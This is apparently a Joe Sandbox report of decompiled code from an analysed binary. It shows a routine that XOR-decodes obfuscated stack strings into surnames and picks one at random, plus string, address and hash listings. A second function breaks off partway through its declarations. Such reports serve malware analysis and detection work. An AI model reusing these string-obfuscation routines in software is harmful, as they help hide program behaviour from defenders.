Uniqueness Score: -1.00%

Function 0040F1C7, Relevance: 159.3, Strings: 127, Instructions: 534
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040F1C7(void* __eax, char __ebx, void* __esi, intOrPtr _a4, char* _a8, signed char* _a12, char* _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, char* _a44, intOrPtr _a48, signed char* _a52, char* _a56, intOrPtr _a60, char* _a64, char* _a68, char* _a72, intOrPtr _a76, char* _a80, char* _a84, signed int* _a88, intOrPtr _a92, char* _a96, intOrPtr _a100, char* _a104, char* _a108, char* _a112, intOrPtr _a116, signed char* _a120, char* _a124, char* _a128, signed char* _a132, intOrPtr _a136, signed int* _a140, char* _a144, intOrPtr _a148, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, signed char _a172, signed char _a173, signed char _a174, signed char _a175, signed char _a176, signed char _a177, signed int _a180, signed int _a181, signed int _a182, signed int _a183, signed int _a184, signed int _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, signed int _a199, signed int _a200, signed int _a201, signed int _a202, signed int _a203, signed int _a204, signed int _a205, signed int _a206, char _a207, char _a208, signed char _a212, signed char _a213, signed char _a214, signed char _a215, signed char _a216, signed char _a217, char _a220, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a269, char _a270, char _a271, char _a272, char _a273, char _a276, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a340, char _a341, char _a342, char _a343, char _a344, char _a345, char _a346, char _a348, signed char _a356, signed char _a357, signed char _a358, signed char _a359, signed char _a360, signed char _a361, signed char _a362, char _a372, char _a380, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a396, char _a404, char _a405, char _a406, char _a407, char _a408, char _a409, char _a410, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a422, char _a423, char _a424, char _a425, char _a426, char _a427, signed char _a428, signed char _a429, signed char _a430, signed char _a431, signed char _a432, signed char _a433, signed char _a434, signed char _a435, char _a440, char _a452, char _a453, char _a454, char _a455, char _a456, char _a457, char _a458, char _a459, char _a460, char _a464, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, char _a486, char _a487, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, intOrPtr _a496) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v33;
				void* _t457;
				char* _t465;
				void* _t467;
				intOrPtr _t476;
				intOrPtr _t478;
				signed int _t482;
				intOrPtr* _t484;
				char _t490;
				char _t499;
				void* _t511;
				signed char _t518;
				signed char _t520;
				intOrPtr _t545;
				char _t570;
				intOrPtr _t596;
				void* _t597;
				void* _t599;
				void* _t600;
				signed char _t601;
				void* _t602;
				intOrPtr _t606;
				void* _t608;

				_t599 = __esi;
				_t457 = __eax;
				do {
					_t490 =  *((intOrPtr*)(_t608 + _t457 + 0xc8));
					 *((char*)(_t608 + _t457 + 0xc8)) =  *((intOrPtr*)(_t608 + _t599 + 0xc8));
					_t457 = _t457 + 1;
					 *((char*)(_t608 + _t599 + 0xc8)) = _t490;
					_t599 = _t599 - 1;
				} while (_t457 < _t599);
				_a356 = _a200 ^ 0x0000008b;
				_a357 = _a201 ^ 0x0000000e;
				_a359 = _a203 ^ 0x000000b4;
				_a360 = _a204 ^ 0x00000025;
				_a358 = _a202 ^ 0x00000082;
				_a388 = 0xdb;
				_a206 = 0xdb;
				_push(7);
				_a362 = _a206 ^ 0x000000ac;
				_push( &_a388);
				_a361 = _a205 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a332 = 0x6d;
				_a333 = 0x6f;
				_a334 = 0x6f;
				_a335 = 0x72;
				_a336 = 0x65;
				_a337 = __ebx;
				_a389 = 0x81;
				_a390 = 0xe5;
				_a391 = 0x9f;
				_a392 = 0x3e;
				_a393 = 0x36;
				_a394 = 0x71;
				_a200 = 0xc6;
				_a201 = 0xb2;
				_a202 = 0xd3;
				_a203 = 0xaa;
				_a204 = 0xc6;
				_a205 = 0xa9;
				_t465 = E0040D980( &_a200);
				_push(7);
				_push( &_a404);
				_a20 = _t465;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x72;
				_a485 = 0x73;
				_a486 = 0x6f;
				_a487 = 0x6e;
				_a488 = __ebx;
				_a404 = 0xae;
				_a405 = 0xa8;
				_a406 = 0xa6;
				_a407 = 0xbf;
				_a408 = 0x70;
				_a409 = 0x89;
				_a410 = 0x13;
				_a192 = 0x11;
				_a193 = 0x65;
				_a194 = 0xd;
				_a195 = 0x62;
				_a196 = 0xf;
				_a197 = 0x6e;
				_a198 = 0x1d;
				_a20 = E0040D980( &_a192);
				_a192 = 0xa8;
				_a193 = 0xa2;
				_a194 = 0xaf;
				_a195 = 0xb1;
				_a196 = 0x15;
				_a197 = 0xd5;
				_a198 = 0x82;
				_a199 = 0x58;
				_t467 = 0;
				_t600 = 7;
				do {
					_t499 =  *((intOrPtr*)(_t608 + _t467 + 0xd0));
					 *((char*)(_t608 + _t467 + 0xd0)) =  *((intOrPtr*)(_t608 + _t600 + 0xd0));
					_t467 = _t467 + 1;
					 *((char*)(_t608 + _t600 + 0xd0)) = _t499;
					_t600 = _t600 - 1;
				} while (_t467 < _t600);
				_a429 = _a193 ^ 0x000000e3;
				_a428 = _a192 ^ 0x00000032;
				_a430 = _a194 ^ 0x000000b6;
				_a432 = _a196 ^ 0x000000c2;
				_a431 = _a195 ^ 0x0000007e;
				_a433 = _a197 ^ 0x000000c0;
				_push(7);
				_a435 = _a199 ^ 0x000000a8;
				_push( &_a356);
				_a434 = _a198 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a324 = 0x77;
				_a325 = 0x68;
				_a326 = 0x69;
				_a327 = 0x74;
				_a328 = 0x65;
				_a329 = __ebx;
				_a404 = 0x68;
				_a405 = 0x61;
				_a406 = 0x72;
				_a407 = 0x72;
				_a408 = 0x69;
				_a409 = 0x73;
				_a410 = __ebx;
				_a356 = 0x2a;
				_a357 = 0x9c;
				_a358 = 0xed;
				_a359 = 0x35;
				_a360 = 0x4a;
				_a361 = 0x35;
				_a362 = 0x68;
				_a184 = 0x4f;
				_a185 = 0x22;
				_a186 = 0x43;
				_a187 = 0x31;
				_a188 = 0x45;
				_a189 = 0x2c;
				_a190 = 0x42;
				_t596 = E0040D980( &_a184);
				_a452 = 0x74;
				_a453 = 0x68;
				_a454 = 0x6f;
				_a455 = 0x6d;
				_a456 = 0x70;
				_a457 = 0x73;
				_a458 = 0x6f;
				_a459 = 0x6e;
				_a460 = __ebx;
				_a340 = 0x67;
				_a341 = 0x61;
				_a342 = 0x72;
				_a343 = 0x63;
				_a344 = 0x69;
				_a345 = 0x61;
				_a346 = __ebx;
				_a476 = 0x37;
				_a477 = 0x36;
				_a478 = 0xb3;
				_a479 = 0xc1;
				_a480 = 0x69;
				_a481 = 0x80;
				_push(9);
				_push( &_a476);
				_a482 = 0xc4;
				_a483 = 0x8e;
				_a484 = 0x89;
				_a184 = 0x60;
				_a185 = 0xd;
				_a186 = 0x6c;
				_a187 = 0x1e;
				_a188 = 0x6a;
				_a189 = 3;
				_a190 = 0x6d;
				_a191 = 8;
				_a192 = 0x72;
				_t476 = E0040D980( &_a184);
				_push(6);
				_push( &_a284);
				_t606 = _t476;
				_a420 = 0x72;
				_a421 = 0x6f;
				_a422 = 0x62;
				_a423 = 0x69;
				_a424 = 0x6e;
				_a425 = 0x73;
				_a426 = 0x6f;
				_a427 = 0x6e;
				_a428 = __ebx;
				_a260 = 0x63;
				_a261 = 0x6c;
				_a262 = 0x61;
				_a263 = 0x72;
				_a264 = 0x6b;
				_a265 = __ebx;
				_a480 = 0x72;
				_a481 = 0x6f;
				_a482 = 0x64;
				_a483 = 0x72;
				_a484 = 0x69;
				_a485 = 0x67;
				_a486 = 0x75;
				_a487 = 0x65;
				_a488 = 0x7a;
				_a489 = __ebx;
				_a284 = 0xfd;
				_a285 = 0xda;
				_a286 = 0x64;
				_a287 = 0xb0;
				_a288 = 0x5d;
				_a289 = 0x6c;
				_a196 = 0xc2;
				_a197 = 0xae;
				_a198 = 0xcb;
				_a199 = 0xbc;
				_a200 = 0xd5;
				_a201 = 0xa6;
				_v8 = E0040D980( &_a196);
				_v20 = 0x6c;
				_v19 = 0x65;
				_v18 = 0x65;
				_v17 = __ebx;
				_a340 = 0x77;
				_a341 = 0x61;
				_a342 = 0x6c;
				_a343 = 0x6b;
				_a344 = 0x65;
				_a345 = 0x72;
				_a346 = __ebx;
				_a204 = 0x68;
				_a205 = 0x61;
				_a206 = 0x6c;
				_a207 = 0x6c;
				_a208 = __ebx;
				_a284 = 0x61;
				_a285 = 0x6c;
				_a286 = 0x6c;
				_a287 = 0x65;
				_push(5);
				_push( &_a212);
				_a288 = 0x6e;
				_a289 = __ebx;
				_a268 = 0x79;
				_a269 = 0x6f;
				_a270 = 0x75;
				_a271 = 0x6e;
				_a272 = 0x67;
				_a273 = __ebx;
				_a484 = 0x68;
				_a485 = 0x65;
				_a486 = 0x72;
				_a487 = 0x6e;
				_a488 = 0x61;
				_a489 = 0x6e;
				_a490 = 0x64;
				_a491 = 0x65;
				_a492 = 0x7a;
				_a493 = __ebx;
				_a196 = 0x6b;
				_a197 = 0x69;
				_a198 = 0x6e;
				_a199 = 0x67;
				_a200 = __ebx;
				_a356 = 0x77;
				_a357 = 0x72;
				_a358 = 0x69;
				_a359 = 0x67;
				_a360 = 0x68;
				_a361 = 0x74;
				_a362 = __ebx;
				_a228 = 0x6c;
				_a229 = 0x6f;
				_a230 = 0x70;
				_a231 = 0x65;
				_a232 = 0x7a;
				_a233 = __ebx;
				_a212 = 0xc7;
				_a213 = 0x35;
				_a214 = 0x64;
				_a215 = 0x14;
				_a216 = 0x23;
				_a180 = 0x60;
				_a181 = 8;
				_a182 = 0x61;
				_a183 = 0xd;
				_a184 = 0x61;
				_t478 = E0040D980( &_a180);
				_a172 = 0x68;
				_a173 = 0x3e;
				_a174 = 0xbb;
				_a175 = 0xf0;
				_a176 = 0xec;
				_a177 = 0xa1;
				_t511 = 0;
				_t601 = 5;
				do {
					_v33 =  *((intOrPtr*)(_t608 + _t511 + 0xe0));
					 *((char*)(_t608 + _t511 + 0xe0)) =  *((intOrPtr*)(_t608 + _t601 + 0xe0));
					_t511 = _t511 + 1;
					 *((char*)(_t608 + _t601 + 0xe0)) = _v33;
					_t601 = _t601 - 1;
				} while (_t511 < _t601);
				_a212 = _a172 ^ 0x000000d2;
				_a213 = _a173 ^ 0x0000008f;
				_a214 = _a174 ^ 0x0000009f;
				_a215 = _a175 ^ 0x000000cf;
				_a216 = _a176 ^ 0x0000004a;
				_t518 = 5;
				_a217 = _a177 ^ 0x00000068;
				_a252 = 0x67;
				_a253 = 0x72;
				_a254 = 0x65;
				_a255 = 0x65;
				_a256 = 0x6e;
				_a257 = __ebx;
				_a152 = 0x61;
				_a153 = 0x64;
				_a154 = 0x61;
				_a155 = 0x6d;
				_a156 = 0x73;
				_a157 = __ebx;
				_a180 = 0x7a;
				_a181 = 0x24;
				_a182 = 0x9b;
				_a183 = 6;
				_a184 = 0x77;
				_a185 = 0xe5;
				_t602 = 0;
				_a172 = 5;
				do {
					_t570 =  *((intOrPtr*)(_t608 + _t602 + 0xe8));
					 *((char*)(_t608 + _t602 + 0xe8)) =  *((intOrPtr*)(_t608 + _t518 + 0xe8));
					_t520 = _a172;
					_t602 = _t602 + 1;
					 *((char*)(_t608 + _t520 + 0xe8)) = _t570;
					_t518 = _t520 - 1;
					_v33 = _t570;
					_a172 = _t518;
				} while (_t602 < _t518);
				_a172 = _a180 ^ 0x00000087;
				_a173 = _a181 ^ 0x00000016;
				_a174 = _a182 ^ 0x0000006d;
				_a175 = _a183 ^ 0x000000fe;
				_a176 = _a184 ^ 0x00000056;
				_a177 = _a185 ^ 0x0000007a;
				_v8 =  &_a300;
				_v4 =  &_v32;
				_t351 =  &_a228; // 0x6c
				_v0 = _t351;
				_t353 =  &_a380; // 0x68
				_a4 = _t353;
				_a8 =  &_a388;
				_a12 =  &_a356;
				_a16 =  &_a308;
				_a20 =  &_a284;
				_a24 = _v20;
				_a28 =  &_a440;
				_a32 = _v12;
				_a36 =  &_a396;
				_t371 =  &_a292; // 0x65
				_a40 = _t371;
				_a44 =  &_a372;
				_a52 =  &_a428;
				_a56 =  &_a316;
				_a64 =  &_a404;
				 *0x431c89 = 0x19;
				_a416 = 0x67;
				_a417 = 0x6f;
				_a418 = 0x6e;
				_a419 = 0x7a;
				_a420 = 0x61;
				_a421 = 0x6c;
				_a422 = 0x65;
				_a423 = 0x7a;
				_a424 = __ebx;
				_a180 = 0x6e;
				_a181 = 0x65;
				_a182 = 0x6c;
				_a183 = 0x73;
				_a184 = 0x6f;
				_a185 = 0x6e;
				_a186 = __ebx;
				_a160 = 0x63;
				_a161 = 0x61;
				_a162 = 0x72;
				_a163 = 0x74;
				_a164 = 0x65;
				_a165 = 0x72;
				_a166 = __ebx;
				_a48 = _t596;
				_a60 = _t606;
				_a68 =  &_a244;
				_a72 =  &_a464;
				_a76 = _v16;
				_a80 =  &_v28;
				_a84 =  &_a332;
				_a88 =  &_a196;
				_t418 =  &_a276; // 0x61
				_a92 = _t418;
				_a96 =  &_a260;
				_t422 =  &_a476; // 0x69
				_a100 = _t422;
				_a104 =  &_a188;
				_a108 =  &_a348;
				_a116 = _t478;
				_a112 =  &_a220;
				_a120 =  &_a212;
				_a124 =  &_a252;
				_t437 =  &_a416; // 0x67
				_a128 =  &_a152;
				_a132 =  &_a172;
				_a136 = _t437;
				_a140 =  &_a180;
				_a144 =  &_a160;
				_a148 = _v24;
				_t482 = E0040C1D0( &_a180);
				_t603 =  *((intOrPtr*)(_t608 + 0x28 + _t482 % 0x28 * 4));
				_t484 =  *((intOrPtr*)(_t608 + 0x28 + _t482 % 0x28 * 4));
				_t597 = _t484 + 1;
				do {
					_t545 =  *_t484;
					_t484 = _t484 + 1;
				} while (_t545 != __ebx);
				return E00424873(E004028A0(_a496, _t603, _t484 - _t597), _a480);
			}

0x0040f1c7
0x0040f1c7
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f437
0x0040f439
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f712
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa85
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
0x0040fbb5
0x0040fbc0
0x0040fbc7
0x0040fbce
0x0040fbd5
0x0040fbdc
0x0040fbdd
0x0040fbe4
0x0040fbe7
0x0040fbeb
0x0040fbeb
0x0040fc08
0x0040fc16
0x0040fc2a
0x0040fc38
0x0040fc4c
0x0040fc53
0x0040fc61
0x0040fc69
0x0040fc6d
0x0040fc74
0x0040fc78
0x0040fc7f
0x0040fc8a
0x0040fc95
0x0040fca0
0x0040fcaf
0x0040fcb3
0x0040fcc2
0x0040fcc6
0x0040fcd1
0x0040fcd5
0x0040fcdc
0x0040fce7
0x0040fcf9
0x0040fd04
0x0040fd0f
0x0040fd13
0x0040fd1a
0x0040fd22
0x0040fd2a
0x0040fd32
0x0040fd3a
0x0040fd42
0x0040fd4a
0x0040fd52
0x0040fd5a
0x0040fd61
0x0040fd69
0x0040fd71
0x0040fd79
0x0040fd81
0x0040fd89
0x0040fd91
0x0040fd98
0x0040fda0
0x0040fda8
0x0040fdb0
0x0040fdb8
0x0040fdc0
0x0040fdc8
0x0040fdcf
0x0040fdd3
0x0040fdd7
0x0040fde6
0x0040fdea
0x0040fdf5
0x0040fe03
0x0040fe11
0x0040fe18
0x0040fe1f
0x0040fe2d
0x0040fe34
0x0040fe3b
0x0040fe49
0x0040fe57
0x0040fe5e
0x0040fe7a
0x0040fe81
0x0040fe88
0x0040fe9d
0x0040fea4
0x0040feab
0x0040feb2
0x0040fecb
0x0040fed2
0x0040fed9
0x0040fee0
0x0040feef
0x0040fef3
0x0040fef5
0x0040fef8
0x0040fef8
0x0040fefa
0x0040fefb
0x0040ff24

Strings

e, xrefs: 0040F847
e, xrefs: 0040F92A
h, xrefs: 0040F922
gibor, xrefs: 0040FE9D
n, xrefs: 0040F93A
i, xrefs: 0040F510
c, xrefs: 0040F63C
i, xrefs: 0040F67B
#, xrefs: 0040FA1E
d, xrefs: 0040F79A
t, xrefs: 0040FDB0
h, xrefs: 0040F9B8
`, xrefs: 0040F6B4
s, xrefs: 0040F605
h, xrefs: 0040F5E5
l, xrefs: 0040FD42
w, xrefs: 0040F998
n, xrefs: 0040FD89
n, xrefs: 0040F981
e, xrefs: 0040F95A
s, xrefs: 0040FD79
o, xrefs: 0040F367
a, xrefs: 0040F62C
l, xrefs: 0040FD71
n, xrefs: 0040F36F
a, xrefs: 0040F64C
o, xrefs: 0040F71C
irdor, xrefs: 0040FE34
7, xrefs: 0040F65B
d, xrefs: 0040F347
n, xrefs: 0040F90B
g, xrefs: 0040F913
i, xrefs: 0040F644
n, xrefs: 0040F615
a, xrefs: 0040FB64
e, xrefs: 0040F84C
g, xrefs: 0040F624
i, xrefs: 0040F72C
l, xrefs: 0040F842
i, xrefs: 0040F9A8
s, xrefs: 0040F557
o, xrefs: 0040F298
], xrefs: 0040F7F9
r, xrefs: 0040F6F4
h, xrefs: 0040F596
o, xrefs: 0040F8FB
r, xrefs: 0040FDC0
b, xrefs: 0040F3CE
g, xrefs: 0040F9B0
r, xrefs: 0040F9A0
g, xrefs: 0040FB25
t, xrefs: 0040F9C0
l, xrefs: 0040F801
r, xrefs: 0040F932
o, xrefs: 0040F2A0
n, xrefs: 0040FB45
e, xrefs: 0040F520
d, xrefs: 0040FB5C
>, xrefs: 0040F2D7
o, xrefs: 0040F5ED
r, xrefs: 0040F7A2
e, xrefs: 0040FD69
e, xrefs: 0040FB35
y, xrefs: 0040F8F3
e, xrefs: 0040F3BE
a, xrefs: 0040F85D
t, xrefs: 0040F518
agy, xrefs: 0040FE18
n, xrefs: 0040F94A
r, xrefs: 0040F2A8
d, xrefs: 0040F952
6, xrefs: 0040F2DF
g, xrefs: 0040F989
e, xrefs: 0040F8CB
6, xrefs: 0040F663
>, xrefs: 0040FA5B
n, xrefs: 0040FD61
lybor, xrefs: 0040FC6D
u, xrefs: 0040F903
s, xrefs: 0040FB74
l, xrefs: 0040F865
s, xrefs: 0040F35F
z, xrefs: 0040F962
n, xrefs: 0040F33F
B, xrefs: 0040F5CE
m, xrefs: 0040F5F5
e, xrefs: 0040F34F
r, xrefs: 0040FB2D
k, xrefs: 0040F86D
5, xrefs: 0040FA06
r, xrefs: 0040F357
q, xrefs: 0040F2E7
w, xrefs: 0040F855
r, xrefs: 0040F634
r, xrefs: 0040F87D
e, xrefs: 0040FDB8
p, xrefs: 0040F5FD
o, xrefs: 0040F792
l, xrefs: 0040F6C4
e, xrefs: 0040F875
h, xrefs: 0040F508
r, xrefs: 0040FDA8
z, xrefs: 0040FD52
e, xrefs: 0040FB3D
h, xrefs: 0040FA53
herej, xrefs: 0040FC78
i, xrefs: 0040F979
w, xrefs: 0040F500
o, xrefs: 0040F60D
e, xrefs: 0040FD4A
k, xrefs: 0040F971
m, xrefs: 0040F6E4
a, xrefs: 0040F337
a, xrefs: 0040FDA0
n, xrefs: 0040F8E4
p, xrefs: 0040F39E
c, xrefs: 0040FD98
a, xrefs: 0040F942
o, xrefs: 0040FD81
d, xrefs: 0040FA0E
m, xrefs: 0040FB6C
b, xrefs: 0040F724
r, xrefs: 0040F78A
t, xrefs: 0040F5DD
a, xrefs: 0040FB54
r, xrefs: 0040F714
eroon, xrefs: 0040FCD5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CountTick
String ID: #$5$6$6$7$>$>$B$]$`$a$a$a$a$a$a$a$a$agy$b$b$c$c$d$d$d$d$d$e$e$e$e$e$e$e$e$e$e$e$e$e$e$eroon$g$g$g$g$g$gibor$h$h$h$h$h$h$herej$i$i$i$i$i$i$irdor$k$k$l$l$l$l$l$l$lybor$m$m$m$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$p$p$q$r$r$r$r$r$r$r$r$r$r$r$r$r$s$s$s$s$s$t$t$t$t$u$w$w$w$y$z$z
API String ID: 536389180-3007975938
Opcode ID: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
Instruction ID: 3eef77c2757c53a506e9ba4930021fd98a878e4b0ac0346694406f782fac75c3
Opcode Fuzzy Hash: 8ee9640c17f91ccb7d287c1752a923c24f15c941b78ca902b81a0f24a1e0ded3
Instruction Fuzzy Hash: AE729D2054D7C189E332C72884587DFBFD26BE6718F488E9ED4DD1B292C6BA0258C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBF0, Relevance: 149.5, Strings: 119, Instructions: 783
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040DBF0(void* __ebx, void* __edx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				signed char _v70;
				signed char _v71;
				signed char _v72;
				signed char _v73;
				signed char _v74;
				signed char _v75;
				signed char _v76;
				signed char _v78;
				signed char _v79;
				signed char _v80;
				signed char _v81;
				signed char _v82;
				signed char _v83;
				signed char _v84;
				char _v92;
				char _v100;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				signed char _v127;
				signed char _v128;
				signed char _v129;
				signed char _v130;
				signed char _v131;
				signed char _v132;
				signed char _v135;
				signed char _v136;
				signed char _v137;
				signed char _v138;
				signed char _v139;
				signed char _v140;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v156;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				signed char _v175;
				signed char _v176;
				signed char _v177;
				signed char _v178;
				signed char _v179;
				signed char _v180;
				signed char _v183;
				signed char _v184;
				signed char _v185;
				signed char _v186;
				signed char _v187;
				signed char _v188;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v204;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				signed char _v231;
				signed char _v232;
				signed char _v233;
				signed char _v234;
				signed char _v235;
				signed char _v236;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v268;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				signed int _v287;
				signed int _v288;
				signed int _v289;
				signed int _v290;
				signed int _v291;
				signed int _v292;
				signed int _v294;
				signed int _v295;
				signed int _v296;
				signed int _v297;
				signed int _v298;
				signed int _v299;
				signed int _v300;
				char _v308;
				signed int _v311;
				signed int _v312;
				signed int _v313;
				signed int _v314;
				signed int _v315;
				signed int _v316;
				signed int _v318;
				signed int _v319;
				signed int _v320;
				signed int _v321;
				signed int _v322;
				signed int _v323;
				char _v324;
				char _v326;
				signed int _v327;
				signed int _v328;
				signed int _v329;
				signed int _v330;
				signed int _v331;
				signed int _v332;
				signed int _v335;
				signed int _v336;
				signed int _v337;
				signed int _v338;
				signed int _v339;
				signed int _v340;
				signed int _v343;
				signed char _v344;
				signed char _v345;
				signed char _v346;
				signed char _v347;
				signed char _v348;
				intOrPtr _v352;
				signed int* _v356;
				signed char* _v360;
				signed int* _v364;
				signed char* _v368;
				char* _v372;
